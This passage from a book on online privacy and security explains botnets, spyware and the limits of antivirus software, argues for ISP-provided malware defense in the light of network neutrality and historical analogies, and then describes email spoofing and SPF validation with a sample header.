2003–2005 Sony BMG music CD rootkit that we discussed in Chapter 6. The
second was the 2004–2005 so-called Greek Watergate, where the mobile
   232  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
FIGURE 9.1 Description of Zeus cybercrime ring from FBI press release 
announcing arrest of many individuals who used Zeus. 
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phones of a number of the top-ranking members of the Greek government
were tapped by installing a rootkit on certain telephone switches (special­
ized computers used by phone companies). 
In general, however, a rootkit is a component of another piece of mal­
ware, whose purpose is to make that piece of software hard to detect. For 
example, Stuxnet included a rootkit component12 and so do many bots. 
Bots and Botnets 
A botnet is a collection of Internet-connected, compromised comput­
ers that are remotely controlled and coordinated by a botmaster (or bot 
herder). Each individual computer, known as a zombie, runs a surrepti­
tiously installed program that allows the botmaster to control the zombie
remotely. The term bot (short for robot) is used to refer both to the zom­
bie computer and to the malicious program that controls the zombie. The
bot program is frequently installed on a victim’s computer via a Trojan
or a worm, so, for example, you will see references both to the “Conficker 
worm” and “Zeus Trojan” and to the “Conficker and Zeus botnets,” since 
computers infected with Conficker and Zeus are indeed under remote 
control of a third party. 
Botmasters often use their botnets to send out viruses, worms, or
Trojans to grow their botnet. Some very large botnets have been built this
way. The 2008–2012 era botnets BredoLab, Maripossa, and Conficker were
each estimated to contain multiple millions of bots at their peak. However,
the size of a botnet is not so important, because a great deal of harm can 
be done by smaller botnets of a few thousand to a few tens of thousands 
of machines. Law enforcement has mostly succeeded in taking down
BredoLab and Mariposa, and we discussed the efforts of the Conficker 
Working Group to contain Conficker earlier. From the criminals’ point of
view, it may be a better business strategy to run a somewhat smaller botnet 
that does not attract too much attention. 
Bots are remotely controlled via Internet communication. Some bots
are designed to communicate with one of a small number of command­
and-control computers in charge of their botnet; other bots use peer-to­
peer communication to get their orders. Either way, the zombie computer
is sending and receiving a small number of extra messages over the 
Internet in a way that the computer’s user would be extremely unlikely to
notice. However, these messages often could be easily detected by the ISP
to which the zombie is connected, if the ISP were to look for them. 
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Botnets are big business for criminals. Exactly how big a business is hard
to say because, as we discussed in Chapter 6, online criminal activity is
difficult to measure, and some of those doing the measuring have a finan­
cial incentive to magnify the size of the problem. Moreover, measuring 
the total level of botnet activity is a particularly challenging problem.13,14 
Some extraordinarily high numbers have been published; for instance, a 
2008 USA Today article quoted security experts claiming that 40 percent 
of the computers connected to the Internet are bots, and that 91 percent of
e-mail traffic is bot-delivered spam.15 A 2011 study commissioned by the 
Dutch government found that 5 to 10 percent of home broadband users’
computers in the Netherlands were part of a botnet,16 and that number is
probably more realistic. Even a 5 percent rate for home broadband users 
worldwide would mean that there are on the order of 30 million comput­
ers in botnets. 
We do know that at least a solid majority, and perhaps an overwhelm­
ing majority, of all spam is sent by botnets. For example, as this paragraph 
is being written in July 2012, the Grum botnet has just been taken down
by worldwide law enforcement activities; by itself, it has recently been gen­
erating about 18 percent of all spam (or roughly 18 billion spam messages
a day). Interestingly, Grum is thought to be only the third most active
spam-bot, so as of this writing, three botnets alone have been responsible 
for over half the world’s spam. 
Bots often do no direct harm to the computer that the bot program is
installed on, because the bots are being used to attack other computers.
Ironically, one of the first actions a bot takes once it infects a computer is
to install good antivirus protection so that no other botnet will be able to
take over that computer. Botnets are frequently used to launch denial-of­
service attacks, send spam, and commit click fraud. Bots cause billions of
dollars in losses, but those losses often fall almost exclusively on others, 
not on those whose machines are infected. Only some botnets, such as
Zeus, steal information directly from the infected computer. 
So, while botnets collectively cost society vast sums and are respon­
sible for the majority of all spam, they have surprisingly little effect on
the typical user of a computer hosting a bot. The user often does not see 
any noticeable difference in behavior because the bot is unobtrusively 
consuming only small amounts of the machine’s computing power and 
Internet bandwidth (except, sometimes, when it is actively pumping out
spam e-mail). Moreover, the bot will have taken some technical steps to
hide itself from the computer’s user. 
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Spyware 
Spyware is a program installed on a computer without the user’s knowledge 
or meaningful consent that surreptitiously collects and transfers informa­
tion in an objectionable way. As the history of spyware legislation shows,
it proves quite difficult to define in general when consent is “meaningful”
or which of the many access activities are “objectionable.” However, it is
widely agreed that some activities are objectionable: collecting passwords
and credit card numbers, for example. Spyware is often installed via a 
Trojan; for example, the Zeus banking Trojan certainly meets the defini­
tion of spyware. Spyware can also be installed via the drive-by download 
method we discussed in Chapter 8. 
The Latest Trend 
The past few years have seen a disturbing new trend: highly targeted, 
highly sophisticated attacks whose goal is industrial or even military
espionage, rather than stealing information useful for identity theft. The
Stuxnet attack by the US and Israeli governments against centrifuges in
an Iranian nuclear facility is an example, as is the highly targeted 2011  
spear-phishing attack against the RSA company that we described in the 
last chapter. Many attacks aimed at specific industrial espionage targets,
law firms, and government offices appear to come from China, and indeed 
the head of the US cyber command has testified that China was behind
the 2011 spear-phishing attack against RSA.17 Other alleged victims of
such attacks, sometimes dubbed “advanced persistent threat,” include the 
president of the European Council; Canadian magistrates; several US oil 
companies, including Halliburton; and various big-firm law partners.18 
These attacks often rely on some combination of spear-phishing and
zero-day attacks, both of which are particularly hard to defend against.  
Many of the changes we are suggesting in this book will be at best partially 
effective in defending against these attacks. In terms of the metaphors we
have used, the majority of malware problems are analogous to members 
of organized crime gangs looking for homes or closed stores with poor
quality locks or open first-story windows. These more targeted attacks are
analogous to a criminal gang specifically targeting a bank or the home of
a billionaire. The defenses needed for these cases are considerably more
difficult and largely beyond the scope of this book. 
Now let us turn to the somewhat easier problem of how we should
defend against more conventional malware, such as bots and Trojans. 









WHY END-USER DEFENSES ARE SO WEAK 
We think ISPs should assume a good part of the defense against mal­
ware in part because end users do a poor job of defending themselves. Of
course, the mere fact that the end users are doing a poor job is not in itself
enough of a reason to move the burden of defense to ISPs. We will argue 
shortly that the end users’ poor defense harms other third parties and that
ISPs are much better positioned than end users to undertake some forms 
of defense. 
The main end-user protection against malware consists of antimalware 
programs that are installed locally on the users’ machines. These are usu­
ally labeled and described as “antivirus programs,” and we will henceforth
call them that although “antimalware programs” would be more accurate. 
The programs monitor for malware by looking for characteristic patterns. 
Malware, like any other program, consists of a lot of zeros and ones. The
zeros and ones that comprise a specific program—any program, not just 
malware—exhibit a distinct pattern, called a signature. Antivirus makers 
maintain and frequently update very large collections of malware signa­
tures, and antivirus software monitors for malware signatures. Signature-
based techniques by definition cannot work against a new piece of malware 
the very first time it is seen, but the antivirus companies are fairly good 
about detecting new malware and adding signatures quickly. 
Signature detection techniques are often supplemented with the abil­
ity to detect malware by the specific actions it performs when it runs. 
Antivirus programs often contain some rules of thumb—called heu­
ristics—that they use to classify some software as malware based on its 
behavior. 
Antivirus programs typically run in two modes: on-access scans of
incoming data and hard drive scans of existing data. In terms of our doors 
and guards metaphor, the scans are guards; we can think of an on-access
scan as a credential-checking guard posted at the entrance, and the hard
drive scan is a behavior-monitoring guard posted inside and looking for 
potential bad behavior. 
The Limits of Detection 
Signature-based detection, even when combined with behavioral heuris­
tics, leaves much to be desired. To see the problem, think of a spy movie 
in which the spy, a master of disguise, adopts a completely unexpected 
disguise and thereby passes unnoticed right under the noses of the police. 










Malware, Norms, and ISPs  ◾ 237
This is what happens with signature-based antivirus programs. They can 
detect only malware that has already been identified and analyzed, and 
malware authors are masters of disguise. It is relatively easy to create new 
malware that has an unidentified signature and that behaves in a novel 
way. It is also relatively unproblematic to create self-modifying malware 
that rapidly changes its signature and alters its behavior. Issuing updates 
to antivirus programs takes 2 to 4 hours at best, and in the meantime
some damage has been done. 
If the Panda Labs report of 73,000 new malware programs a day we
mentioned at the start of this chapter is even approximately correct, then 
the problem is already severe, and the situation may be getting worse. 
Security expert Ross Anderson wrote in 2008, “Recently antivirus soft­
ware seems to be getting steadily less effective…while antivirus software 
might have detected all the exploits in circulation in the early 2000s, by
2007 the typical product might detect only a third of them.”19 
Incidentally, back in the 1980s, the first academic work on viruses proved 
that absolutely perfect detection of malware is mathematically impossible. 
(Technically it was shown that the problem reduces to the halting problem, 
which was shown to be undecidable by Alan Turing back in the 1930s.) 
However, that mathematical result says nothing about the possibility of
building extremely good, albeit less than perfect, malware detection. 
Poor Use of Poor Tools 
Our current defenses against malware are weak, and we compound the 
problem by not making the most effective use of them. We fall short of
the maximum effective use because monitoring for malware requires that
end users expend time, money, and effort. Not only must they purchase 
antivirus software, but they must also promptly and frequently update 
their antivirus software so that it has the latest signatures and the latest 
behavioral profiles. In addition, users must also allow the program to fre­
quently scan their hard drive for malware. Computer performance is likely 
to decline during the scan, and, for this reason alone, many users limit 
scans to incoming data. This allows malware to masquerade as benign on
arrival and to operate undetected later. There are two reasons end users 
are reluctant to expend time, effort, and money on malware defense: igno­
rance and a negative externality. 
Many users have only a vague understanding of malware and its risks.
A common and important misconception, for example, is that businesses, 
not home users, are the primary target for the installation of malware. 
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In fact, the greatest risk is bot software being installed on home users’
machines. In the other direction, many users do not realize that most bot­
nets attack third parties and that the main (or only) thing the botnet wants 
from the machine it is installed on is its Internet connection. Bots are typi­
cally not seeking personal data stored on home computers. End users who 
do not understand the nature of or underestimate the risks will not invest
sufficient time, effort, and money in defending against malware. 
A heavy majority of home users of Windows machines in the United 
States today use some antivirus product, but they may not be using a good 
product, and they may not be updating their product often enough to be 
effective. In particular, for the antivirus software to provide meaningful
protection, users should have turned on automatic updating of the signa­
ture files; the major products update their signature files at least weekly 
and, sometimes, during a particularly bad malware outbreak every few 
hours. However, many home users do not update their antivirus program’s 
signature files automatically, and some do not update them at all. 
Moreover, most users really do not know how to respond when an anti­
virus product pops up a (frequently confusing) alert and asks the hapless
user what it should do about a particular program or file that may or may 
not be malware. A new wrinkle is that some current free “antimalware
software” is in fact wolf-in-sheep’s clothing software that installs malware 
instead of protecting against it. However, there are also free antivirus soft­
ware downloads with excellent reputations; for example, both Avast!’s and 
Antivir’s free versions have received high ratings from reviewers.20 It is
really hard for a typical home user to know what to do. 
So much for ignorance. Now on to the negative externality problem, 
which is a key reason why the status quo of end users being responsible for 
malware defense leads to their doing a poor job of it. The negative exter­
nality arises because, as we noted earlier, a bot that infects a particular
user’s computer often harms other users’ computers—not the computer
on which it is installed. From the viewpoint of the owner of the infected 
machine, the external harm is typically a relatively small monetary harm
per individual, where each individual harmed is an unidentified stranger. 
We notice such harms, if we notice them at all, only in aggregate statistics
reporting yearly losses from malware. In deciding what to do, people typi­
cally give little, if any, consideration to relatively small monetary harms to
unidentified strangers. 
Thus, to the extent that the harm from malware is a negative externality 
for those infected, end users will not expend the time, effort, and money 
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needed to avoid that harm. Society as a whole makes more efficient use of
resources when negative externalities do not exist. It would take less time,
effort, and money to better defend against the harm than the billions soci­
ety collectively loses from allowing it to occur.* 
The ISP Alternative 
To summarize, we have three problems: weak defenses, home-user igno­
rance, and a negative externality. We can solve them all by shifting some
of the task of defense from end users to ISPs.† It is clear that ISP-provided
defense would be more effective. Virtually all traffic enters the Internet 
through an ISP and is delivered to its destination by an ISP; thus, ISPs are 
in an optimal position to scan for malware and they can employ resources 
that go beyond the signature detection and heuristic methods of end 
users. In particular, once a bot has infected your machine, there is a good 
chance that none of the popular antivirus software will be able to detect
that bot. Your ISP, however, has a pretty good chance of detecting that  
your machine is part of a bot by examining its communication pattern—if
your ISP will just look.‡ 
Another important defense against malware and other attacks is
prompt patching of major components. ISPs can help here as well, because 
they can detect whether a user is running an older or unpatched version 
of Microsoft Windows, of a web browser, or of a web browser plug-in 
such as a Flash player or PDF viewer. Older, unpatched versions are much 
more likely to be vulnerable to particular instances of malware, cross-site
scripting, and so on. After all, the whole point of many updates is to close 
security vulnerabilities. 
In addition, shifting the malware detection burden to ISPs solves the 
ignorance issue. Far more than the average end user, ISPs have the exper­
tise. Finally, as we argue in the next chapter, ISP malware defense can 
eliminate the negative externality described earlier. Despite its advan­
tages, we have taken only the smallest steps toward every ISP providing a 
reasonable level of malware protection. Some ISPs now offer free antivi­
rus software for their clients to download and install, and some ISPs offer 
* 	 The same issue arose with self-replicating viruses and worms like MyDoom back in the 1990s and 
early 2000s, but today the most significant issue is with bots. 
† 	 Only “some of” because end users vary in their malware defense requirements, and those facing
unusual risks may need to supplement the defenses ISPs provide to all users. 
‡ 	 One technology it could use to look is deep packet inspection, which we discussed in the context 
of firewalls in Chapter 8. 
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to screen for malware for an additional fee, but most do not require that
their clients have any protection. Why have we been so slow to switch to
required ISP protection? 
One reason ISPs emphasize is a lack of market demand. Malware pro­
tection is expensive to implement, and the ISPs contend that they cannot
recover the costs from their clients as there is very little demand for exten­
sive ISP-provided malware protection. 
THE “END-USER-LOCATED ANTIVIRUS” NORM 
A demand unifying coordination norm explains the lack of market 
demand. The norm is that consumers demand end-user-located antivi­
rus programs. We first show that this is indeed a coordination norm and
then argue that the norm is not value optimal. In the next chapter, we
show how to create a value optimal coordination norm that will ensure a 
stable and continuing demand for ISP-provided protection. The required 
regularity exists. We demand end-user malware protection, and the $10 
billion a year antivirus industry provides it. Individual end users typically 
purchase and install a program themselves or, sometimes, instead select
an ISP that includes it with the subscription. This regularity is a coordina­
tion norm, provided that end users think they ought conditionally to pro­
vide for their own malware protection, which indeed they do. The network 
neutrality principle and especially the end-to-end principle, both of which 
we discussed in Chapter 2, explain the origins of this norm. 
The network neutrality principle requires that networks should do
nothing to discriminate among types of data. As long as the content is
lawful, no one is in a position to discriminate among types of content and 
selectively block the transmission of certain types (or demand a high tariff 
for transmitting it). The end-to-end principle requires that actions requir­
ing intelligence be taken at the end points of the network, allowing for a 
dumb middle that just forwards packets. 
It was—and still is—widely agreed that adherence to at least the end­
to-end principle “dramatically expanded the uses to which data networks
could be put and triggered the explosive growth of the Internet.”21 Given 
the dominance of the end-to-end principle, it is hardly a surprise that when 
antivirus programs appeared, it was essentially taken for granted that
such protection belonged on end-user machines. Strict adherence to the 
end-to-end principle requires that such access control reside at the abso­
lute edge of the Internet in end-user machines—not inside the network at
ISPs. Moreover, a very literal-minded reading of network neutrality would 
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also prevent ISPs from blocking malware, because ISPs would be discrimi­
nating among packets based on whether their contents contain malware. 
However, most advocates of strong network neutrality would permit ISPs
to continue to filter spam e-mail, and filtering spam and malware are 
extremely similar from a public-policy point of view. 
Now that the pattern of end-user-located malware protection is well
entrenched, if you want malware protection—and almost everyone does— 
there is only one real option: provide it yourself. Thus, even if you are 
convinced such protection ought—ideally—to be provided by ISPs, you 
will think—conditionally—that you ought to opt for end-user malware 
protection. We will argue that we ought to replace the end-user-located 
norm with a norm that requires ISP-provided malware protection for resi­
dential customers. 
Importance of Network Neutrality 
We do so, however, while acknowledging the importance of the network 
neutrality principle. This acknowledgment provides essential background 
for our argument that the end-user-located norm is not value optimal. To
appreciate the importance of the network neutrality principle, compare 
the Internet to cable television, where a few massive companies control 
what we see and determine how much it costs to see it. 
Without the network neutrality principle, the dominant ISPs could 
exercise similar control, and “major industries such as health care, finance, 
retailing and gambling would face huge tariffs for fast, secure Internet 
use—all subject to discriminatory and exclusive deal making with tele­
phone and cable giants.”22 Such control could, and very likely would, cur­
tail the growth of independent news and information sources in the form
of blogs, community service websites, broadband video and television, and 
the like. More than 60 percent of this content comes from ordinary people, 
not corporations.23 What would happen to this explosion of creative effort
if its authors had to seek permission—paid-for permission—from a small 
cartel of corporate interests to distribute their creations? It is unlikely that
it would thrive as it currently does. 
The beneficial effects are by no means confined to economic ones.
Effective expression of diverse, and perhaps unpopular, opinions has long 
been recognized as a critical guarantee of political freedom, and the Internet 
makes it possible for all those affected by social, political, and economic
developments to communicate with each other. This is why, as Secretary
of State Hilary Clinton noted, “an open Internet fosters long-term peace,
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progress and prosperity…An Internet that is closed and fractured,…where
speech is censored or punished, and privacy does not exist—that is an
Internet that can cut off opportunities for peace and progress…”24 
Our proposed ISP-located protection norm will constrain discrimina­
tion among types of content in ways that ensure that the norm does not
threaten either economic growth or free communication. We will explain 
how and why the content discrimination will be restricted to malware 
when we explain the norm in greater detail in Chapter 10. To motivate 
creating this norm, we argue that the current norm is not value optimal.
There is an alternative norm that is better justified in light of our values: 
Namely, ISPs provide malware protection. 
Home-User-Located Antimalware Defense Is Not Value Optimal 
Our argument turns on the fact that malware defense is a collective action
problem. Collective action problems are situations in which everyone is
worse off if everyone does what he or she individually prefers to do. Classic
examples are cases where all individuals benefit significantly if everybody 
contributes to creating some collective goods such as lighthouses, police
forces, and military, but each individual is better off if he or she alone 
avoids paying; the mirror case is where everybody benefits if each makes
moderate use of a common collective resource, such as grazing animals 
on a commons, but each individual is better off if he or she consumes  
the maximum amount possible, even though if everybody does, then the 
commons will be ruined. 
Collective action problems frequently arise when there are negative
externalities. The “end-user defense” norm ensures that we as individuals
prefer to spend few resources to defend ourselves against malware, but col­
lectively we are worse off as a result. We will argue that it would be better 
for each of us if ISPs took over a good part of the defensive task, because 
the negative externality of cybercrime from malware (especially botnets), 
which harms each of us, would be greatly reduced. 
To see that malware defense is a collective action problem, we first 
examine the striking analogies between our contemporary malware situ­
ation and two past collective action problems: the evolution of fire pre­
vention and public health in cities from the seventeenth through the 
nineteenth centuries. We focus on London, whose history in this regard
is well documented. In seventeenth century London, individuals were
primarily responsible for both fire prevention and protecting themselves
against communicable diseases. These were the established practices, just
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as with malware defense and, just as with malware defense, given the lack 
of any other option, everyone thought they ought, conditionally at least,
to protect themselves. It is easy for us to see now that adequate fire preven­
tion and adequate control of communicable diseases require the creation
and support of a society-wide coordinated network of community-based
fire departments and disease prevention efforts. This eventually became 
clear to the citizens of London, although it took a few catastrophes, such 
as the 1633 fire that destroyed 42 premises on London Bridge and another
80 buildings elsewhere, the much worse 1666 Great Fire of London that we
discuss in the next section, and the 1858 Great Stink. 
A review of these past collective action problems shows that the values
that justify solving the problems through a society-wide coordinated net­
work also justify that same type of response in the case of malware. This 
time it is ISPs that need to provide the coordinated network—coordinated
in the sense that all ISPs provide at least the same basic threshold level of
malware protection. Unfortunately, in the case of malware, we are still in
the seventeenth century; we are held there in part by the suboptimal end­
user-located antivirus norm. 
FIRE PREVENTION AND PUBLIC HEALTH 
By 1660, London was a dense maze of often twisted and narrow streets 
overstuffed with houses and apartments. To create more space, build­
ings were often cantilevered, sometimes to the point that the top floors 
of buildings on the opposite sides of the street would almost touch. Some
businesses stored flammable goods such as gunpowder. Open flames  
were as common then as computers are now. Open flames provided light,
heat, and the power needed for transformative activities like blacksmith­
ing, baking, and soap making. Fire prevention and control depended on
public-spirited citizens cooperating to combat a blaze when church bells 
sounded the alarm. Churches contained firefighting supplies, and the 
night watch was charged with monitoring for fires. Firefighting methods 
were water buckets and the tearing down of houses to create a fire break. 
This approach worked tolerably well for relatively small fires, but it
could not prevent the spread of a sufficiently large fire in the tinderbox-like 
environment of seventeenth century London. The design of the city, the 
ubiquitous open flames, and the haphazard and primitive fire control pro­
visions promised a massive, uncontrollable conflagration. It occurred in
1666. The Great Fire of 1666 raged for 4 days and destroyed the old city (the
part of London inside the old Roman wall). It destroyed 13,200 houses, 
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87 parish churches, St. Paul’s Cathedral, trade warehouses, and city gov­
ernment buildings. The catastrophe prompted reforms. The government
revised building codes, and private fire brigades were formed to protect 
subscribers, but it was not until the first half of the nineteenth century that
municipal fire departments were formed, providing citywide protection. 
The history of the prevention of communicable disease is, in very broad 
outline, the same: the eventual recognition of the need for a coordinated,
society-wide response. Early nineteenth century London had a rapidly 
growing population of over one million and a waste disposal system 
appropriate to a small village. Human and industrial waste was supposed 
to run in cesspools (there were 200,000 of them), but often overflowed  
into street drains reserved for rainwater. The street drains emptied into
the river Thames, the source of London’s drinking water. When flush toi­
lets replaced chamber pots, the problem became even worse as the toilets 
drained into the already overflowing cesspools (it cost a shilling to clean 
a cesspool, a cost many Londoners could ill afford). Medical technology
and the understanding of communicable diseases were primitive. Cholera 
was widespread by the 1840s, but the prevailing scientific opinion was that
it was spread by “bad air.”* Early death was routine. As Dickens wrote in
Bleak House, “Jo lives—that is to say, Jo has not yet died.” 
Social reformers called for change, but progress was slow until the Great 
Stink in the summer of 1858. The summer was very hot, and the stench 
from the sewage-polluted Thames was so strong that it disrupted work at
the House of Commons. The politicians moved into action.† A new sewage
system was approved, designed, and constructed by 1865, and the ensuing 
decades (and centuries) saw the evolution of nationwide (and eventually 
worldwide) networks of governmental and private organizations devoted
to a coordinated effort to control communicable disease. 
COMPARE MALWARE 
Through the seventeenth to the nineteenth centuries, London was 
1. A large network of people, businesses, and buildings 
2. That was exposed to serious dangers from fire and communicable
disease 
* 	 In 1854, John Snow, a London physician, traced transmission to sewage-contaminated drinking
water, but his discovery did not win wide acceptance. 
† They literally moved as well—to the side of the building farthest from the river. 
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3. That could only be effectively controlled through a coordinated, city­
wide effort 
4. Where everyone would be better off if the effort were made 
It is clear that, in such circumstances, the citywide effort was required—if 
the Londoners were to act consistently with their values by making every­
one better off. 
Analogous points hold—or at least appear to hold—for the Internet. 
The Internet is 
1. A worldwide network of people, businesses, and computers that is 
2. Exposed to serious dangers from malware 
3. ISP screening for malware in a coordinated, Internet-wide effort 
would be far more effective in controlling malware than end-user­
located protection 
4. Implementing such ISP screening would make everyone better off 
If 1–4 are true, our values require coordinated ISP protection against mal­
ware, just as they require coordinated efforts for fire protection and public
health, and the end-user-located antivirus norm is not value optimal. 1–3 
are clearly true. But is 4? 
IS BETTER PROTECTION WORTH VIOLATING 
NETWORK NEUTRALITY? 
The question is whether better protection is worth the risks involved in
violating the network neutrality principle. There are two risks—one to
privacy and one more generally to economic growth and free expression. 
The concern in each case is that ISPs will not confine themselves to screen­
ing for malware. The technology deployed against malware will typically 
include the technology needed to read, record, and discriminate against a 
wide variety of types of content, not just malware. Those who have power 
tend to use it, as history amply attests. 
The Risk to Privacy 
ISPs have a strong motive to screen content for advertising purposes.
They face significant capital investments in broadband infrastructure in a 
market for ISP services where competition limits their ability to increase 
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the fees they charge their clients. They need another revenue source, and 
they are sitting on one—a gold mine. All of your Internet traffic passes
through your ISP, which can consequently track every website visit you 
make. As we explained in the last chapter, deep packet inspection would 
allow them to read the content you send over the Internet. Compare 
Google’s very successful website advertising program, AdSense, with a
network of a “mere” 1.5 million websites and advertisers.25 ISPs could 
feed vastly more data to advertisers. If ISPs mine the gold on which they
are sitting, we will lose yet more informational privacy, yet more control 
over our information. 
Fear of an adverse public reaction provides some restraint. In 2008,
when ISPs began to monitor traffic to extract information for advertis­
ing purposes, a firestorm of protest erupted, legislation was proposed, 
and lawsuits were filed. The furor caused ISPs to drop their informa­
tion extracting plans. Attitudes may change, however. As we discuss in
Chapter 11, websites routinely track visitors for advertising purposes, and,
as consumers become more accustomed to the practice, they may be more
willing to accept ISP tracking as well. 
Today ISPs have little incentive to detect and prevent malware. We will
discuss how to change this in the next chapter. 
The Risk to Free Expression 
Some ISPs already discriminate against certain types of traffic. Comcast,
for example, has at least sometimes limited the bandwidth available to
BitTorrent traffic running over its network. BitTorrent is a file-sharing 
network frequently used to share large music and video files. Comcast 
claims that the volume of data is so massive that it is reasonable network
management to slow down the delivery of BitTorrent files to ensure ade­
quate service to its other customers. Critics cried, “Foul!” and ignited an
intense controversy by accusing Comcast of violating the network neu­
trality principle. 
Of course, slowing down BitTorrent files is a far cry from the discrimi­
nation that proponents of the network neutrality principle imagine when 
they admonish us not to violate the principle. They warn us of an Internet
from which the free expression we now enjoy has almost completely van­
ished and on which a few dominant ISPs control what information is
available and how much it costs to access it. We agree that we should avoid
such a result, so, when we require ISPs to monitor for malware, we need to
design safeguards to prevent that development. 
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THE VALUE OPTIMAL NORM SOLUTION 
How can we strike an appropriate balance between ISP-provided malware 
defense, informational privacy, and the network neutrality principle? In 
the next chapter, we argue that we can do so by replacing the suboptimal 
end-user-located antivirus norm with the following value optimal norm: 
End users demand that ISPs follow best practices for malware defense. 
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Malware 




Our goal is to show how to replace the current end-user-located antivirus 
defense norm we discussed in Chapter 9 with this new norm: Residential 
end users demand that Internet service providers (ISPs) provide a best
practices defense against malware. The intended scope of “residential
end users” (“end users,” as we will sometimes write) is any person or
organization with no in-house expertise on Internet infrastructure or  
e-mail hosting, and it includes most small- and some medium-sized busi­
nesses. We faced a similar task in Chapter 7 when we needed to create 
the value optimal best practices software norm. Our strategy was to use 
a governmental agency to promulgate best practices. We will adopt the  
same strategy here. 
CURRENT BEST PRACTICES FOR ISP MALWARE DEFENSE 
Our task will be easier if we can build on existing best practices for ISP 
malware defense. If all the best practices we need already exist, then all we
will need to do is show how to incorporate them into a norm. We will not
even need to discuss whether the resulting norm is value optimal, since 
best practices norms are automatically value optimal.* So do all the best 
practices already exist? Unfortunately, the answer is no. Best practices 
* 	 Recall from Chapter 7 that best practices by definition make best justified trade-offs among com­
peting goals. 
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exist, but not enough of them do. We begin with a review of some existing
best practices. 
It is useful to split potential best practices for malware defense for ISPs
into several categories:
 1. Technical measures: A variety of procedures that primarily fall to
ISPs and other Internet infrastructure companies such as e-mail ser­
vice providers like Google and Yahoo! We offer examples in the next
subsection.
 2. Antivirus: Helping or even forcing residential customers to have up­
to-date antivirus software. While the underlying antivirus software 
itself may need updating relatively infrequently, the signature data­
base needs frequent, typically daily, updating.
 3. Patching: Helping or even forcing residential customers to have the 
latest patched versions of their operating system and other very
common, very frequently attacked software, such as web browsers, 
Microsoft Office, and PDF readers.
 4. Detecting: Detecting residential customers’ infected machines and,
at least, notifying the customers of the infection and, perhaps, doing
more, such as helping customers remove the malware or quarantin­
ing infected machines from the Internet. 
Another way of dividing up potential best practices distinguishes 
between prevention and mitigation. The division turns out to be far from
sharp, but it will still prove useful later. 
We will give a few examples of technical best practices for ISPs.1 Some
of these have been widely adopted by US ISPs; some have not. 
Sample Current Technical Best Practices 
We begin with the best practice of having ISPs validate e-mail to prevent 
the spread of both spam and malware. Today, spam and malware are tightly
coupled issues for two reasons. First, one of the main ways botnets make
money for their controllers is by sending out spam for a fee. Second, spam
e-mail is one of the primary delivery channels for malware. Some of the
more technical defenses against spam can, as we will see, be carried out 
only by ISPs and e-mail service providers. We will give two examples of best
practices for validating e-mail, but a bit of background is necessary first. 




















Received: by 10.42.96.4 with SMTP id h4cs1630icn;
 
Sun, 3 Jul 2011 13:00:04 -0700 (PDT) 
Received: by 10.42.145.5 with SMTP id d5mr908333 
icv.328.1309723204703; 
Sun, 03 Jul 2011 13:00:04 -0700 (PDT) 
Return-Path: <bob@uic.edu> 
Received: from mail.uic.edu
 (mail.uic.edu [128.248.156.182]) 
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FIGURE 10.1 Sample e-mail header. 
In a normal legitimate e-mail, the headers contain both the sender’s
e-mail address and the domain name from which the e-mail originated.* 
In the example in Figure 10.1, the bold lines indicate that the sender’s
e-mail address is bob@uic.edu and that the e-mail originated from the 
domain mail.uic.edu. 
Unfortunately, it is easy to counterfeit both the domain name and the 
sender’s e-mail address. Even though we sent it from mail.uic.edu and
used the e-mail account bob@uic.edu, we could, for example, make the 
bold text read, 
Return-Path: <a.trusted.friend@gmail.com> 
Received: from mail-yw0-f45.google.com, 
This is known as “spoofing.” Spoofing allows spammers, phishers, and 
malware authors to avoid detection by concealing their true source
machine and e-mail addresses. 
One simple best practice to combat spam is for every mail handler to
record the Internet protocol (IP) number of the packets that make up a 
particular piece of e-mail it receives, and check whether it is a correct IP
number for the domain that claims to have sent that e-mail. While it is easy
for a skilled hacker to forge e-mail headers, it is essentially impossible to
forge the source IP address of e-mail packets.† In the header in Figure 10.1,
the very last line shows the source IP number of the packets that make up
* 	 These headers, called envelope headers, are used by the programs that process our e-mail, and end 
users normally don’t see them. The “to:” and “from:” lines that we all see at the top of every e-mail
are separate and, incidentally, very easy to counterfeit. 
† 	 It is easy for hackers to falsify the source IP address in IP packets, and this is commonly done in
denial-of-service attacks. However, falsifying the IP address does not work when two-way com­
munication between a sending hacker and a receiver is required, because the receiver will send its 
replies to the forged IP address rather than to the hacker’s actual IP address. The SMTP protocol
used for e-mail requires a few rounds of such back-and-forth communication. 

















254  ◾ Unauthorized Access: The Crisis in Online Privacy and Security 
Received-SPF: pass (google.com: domain of bob@uic.edu designates 
128.248.156.182 as permitted sender) client-ip = 128.248.156.182; 
Authentication-Results: mx.google.com; spf = pass (google.com: 
domain of bob@uic.edu designates 128.248.156.182 as permitted 
sender) smtp.mail = bob@uic.edu 
FIGURE 10.2 The SPF part of the header of the e-mail from Figure 10.1. 
the e-mail, as well as the domain name corresponding to that IP num­
ber according to the DNS, which we discussed in Chapter 2. In this case,
everything matches properly. 
The best practice of recording source IP addresses and looking them 
up to verify that they match the claimed sending domain name is of only 
limited help, however. One problem is that there are many IP addresses
that for one or another perfectly legitimate reason cannot be looked up, so
e-mail spoofers will just use one of those IP addresses. 
An additional, more elaborate best practice for combating e-mail spoof­
ing is the sender policy framework (SPF). Implementing SPF requires
creating lists of IP addresses that are the allowed sending machines for 
specified sending domains. ISPs and e-mail services such as Google can 
then check the lists to see if an e-mail’s IP address is authorized for the 
claimed sending domain. Google did so in the original, unaltered e-mail
shown in Figure 10.1, as the excerpt from the header in Figure 10.2 shows. 
This does not guarantee that the e-mail is genuine; SPF is far from fool­
proof, but using SPF does help reduce e-mail spoofing. 
SPF meets the three requirements for being a best practice. There is
widespread agreement that (1) the goal of defending against spoofing is
desirable and that (2) SPF is a sufficiently reliable, sufficiently detailed 
means of pursuing that goal.2 The third requirement is that there is wide­
spread consensus that the trade-offs SPF implements are value optimal.
The consensus exists even though SPF is not without costs, such as acquir­
ing and using the software. There is also a potential loss of freedom of
expression since SPF only delivers data that meet its standards. Moreover,
the loss is not merely a theoretical possibility; SPF sometimes blocks the 
delivery of legitimate e-mails using forwarding or reposting services. SPF 
also compromises informational privacy since it requires the disclosure
of associations of IP and e-mail addresses and verification of this infor­
mation in every e-mail. The consensus is that these costs are relatively 
small compared to the benefits of reducing spam, phishing, and the use of
e-mail to spread malware. Nevertheless, SPF adoption has been fairly low.3 




















Malware: Creating a Best Practices Norm  ◾ 255
Incidentally, unless and until we reach widespread adoption of SPF,
we cannot be sure how much it will reduce spam. Widespread adoption
of SPF may dramatically reduce the volume of spam. It is also possible
that if SPF becomes widespread, then spammers will switch to sending 
